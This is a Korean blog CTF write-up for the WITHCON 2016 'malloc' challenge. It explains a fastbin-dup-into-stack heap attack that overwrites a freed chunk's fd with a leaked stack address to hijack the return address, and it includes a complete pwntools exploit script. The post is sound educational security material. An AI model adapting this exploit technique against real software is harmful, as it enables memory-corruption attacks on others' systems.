cgy12306

WITHCON 2016 malloc 본문

CTF Write-up

WITHCON 2016 malloc

cgy12306 2020. 4. 18. 13:18

이번 문제를 ubuntu 18 환경에서 하면 안된다고한다... 이것때문에 오랜 시간이 걸렸다.

ubuntu 16 환경에서 하도록하자..

우선 바이너리를 분석하자.

처음에 스택 주소를 주고 1, 2, 3, 4, 5를 선택하도록 한다.

1을 선택했을 때 sub_4009E6에 v4를 인자로 넘기면서 호출한다.

sub_4009E6을 호출했을 때 사이즈와 데이터를 입력받는다.

사이즈가 0봐 작거나 32이상일 경우 사이즈를 32로 동적할당을 받고 나머지 경우 해당 사이즈로 동적할당을 한다. 동적할당 된 주소는 a1(v4)의 빈 공간에 저장된다.

그리고 buf 변수에 데이터를 33만큼 받아온다. 이후 memcpy로 buf에 담긴 값을 a1(v4)에 담는다.

이제 2번을 눌렀을 때 호출되는 sub_400BFD를 들어가보자.

어떤 것을 free할지 물어보고 해당 chunk를 free한다.

3번 sub_400DFF를 들어가 보자.

heap 영역에 저장된 데이터를 출력해준다.

4번 sub_400CA1을 분석해보자.

어떤 chunk를 수정할 지 물어보고 해당 데이터 값을 수정한다.

5번을 눌렀을 땐 종료가 된다.

이 바이너리에서는 동적할당 했을 때 fastbin을 사용한다.

fastbin은 single_linked_list이기 때문에 fd만 사용한다.

fd는 free가 되기전에는 일반적인 data영역으로 사용되지만 free가 된 후에는 다음에 chunk를 가리킨다.

heap에서 fastbin은 최대한 메모리를 효율적으로 활용하기 위해서 fastbins에 chunk의 주소를 저장한 다음 그곳의 주소를 꺼내서 사용한다.

free를 안했을 경우엔 새로 할당을 해줘야 하기때문에 0x0이 저장되어 있지만 free를 해주면 free를 해준 chunk의 주소를 가리키고 있다.

그리고 가리키고 있는 chunk의 fd를 참조하게 되는데 우리가 4번을 입력해서 해당 청크를 직접 수정할 수 있다.

만약 4번 modify로 fd를 수정하게 된다면 fastbins를 조종할 수 있다.

여기서 주의해야 할 점은 fastbins는 할당을 해줄 때 size 값을 검증을 한다.

heap은 32byte를 요청해도 prev_size와 size도 할당해야하기 때문에 32byte보다 큰 48byte 사이즈를 할당하게 된다.

그럼 이제 시나리오를 구성해보자.

두번 동적할당 하고, 두번의 free를 해준다. 그러면 fastbins는 마지막으로 동적할당 된 곳을 가리키게 된다.

여기서 modify를 처음에 알려준 stack 주소를 이용해서 맨 마지막으로 free된 fd에 stack주소를 넣어주고, 다시 동적할당 시켜준다.

이러면 fastbins에는 stack 주소가 들어가게 되고, 해당 stack에 동적할당이 될 것이다.

이를 이용해서 ret을 덮게 된다면 원하는 주소로 점프할 수 있게 된다.

이 바이너리에서는 flag를 출력하는 함수가 있으므로 그 함수를 호출하면 될 것이다.

또 주의해야 할 점이 위에서 언급했듯이 size를 맞춰줘야 한다는 점인데 1번 함수에서는 size를 스택에 입력하는 부분이 있다.

큰 size 값을 입력하게되면 malloc은 32로 할당이 되지만 size 변수 안에는 내가 입력한 값이 들어가게 된다.

size를 48입력했을 때 sub_4009E6 함수에서 size에 30이 들어가는 것을 볼 수 있다.(size 위치는 rbp-18h)

위 스택에서 400f0f가 ret 주소이다

이 부분을 sub_400986의 주소로 덮으면 된다.

처음 바이너리가 시작될 때 알려주는 stack의 주소는 rbp-8의 주소를 알려준다.

우리가 덮어야하는 지점은 sub_4009E6이 호출되고 나서의 지점을 덮어야 한다.

그 지점은 stack_leak - 0x58지점이다.

페이로드를 작성하자.

from pwn import *

context.log_level = 'debug'

p = process('./malloc')

gdb.attach(p)
p.recvuntil('Stack Address : ')
leak = int(p.recvline(),16)

p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Enter size :')
p.sendline('32')
p.recvuntil('Enter data : ')
p.sendline('A' * 32)

p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Enter size :')
p.sendline('32')
p.recvuntil('Enter data : ')
p.sendline('A' * 32)


p.recvuntil('> ')
p.sendline('2')
p.recvuntil('Which one do you want to free : ')
p.sendline('2')

p.recvuntil('> ')
p.sendline('2')
p.recvuntil('Which one do you want to free : ')
p.sendline('1')

p.recvuntil('> ')
p.sendline('4')
p.recvuntil('Which chunk do you want to modify : ')
p.sendline('1')
p.recvuntil('Enter data : ')
p.sendline(p64(leak - 0x58))

p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Enter size :')
p.sendline('32')
p.recvuntil('Enter data : ')
p.sendline('A'* 32)

p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Enter size :')
p.sendline('48')
p.recvuntil('Enter data : ')
p.sendline('A' * 24 + p64(0x0000000000400986))

p.interactive()

ret 값을 덮은 것을 확인할 수 있다.

플래그가 출력됐다.

참고 : https://www.lazenca.net/display/TEC/fastbin_dup_into_stack

'CTF Write-up' 카테고리의 다른 글

Christmas 2020 CTF Screw Driver Write-Up  (0) 2021.01.02
Codegate 2017 dart-master  (0) 2020.04.18
Codegate 2016 floppy  (0) 2020.04.18
Codegate 2017 Angrybird  (0) 2020.03.02
Rooters CTF ch03 Write-up  (0) 2019.10.31
Comments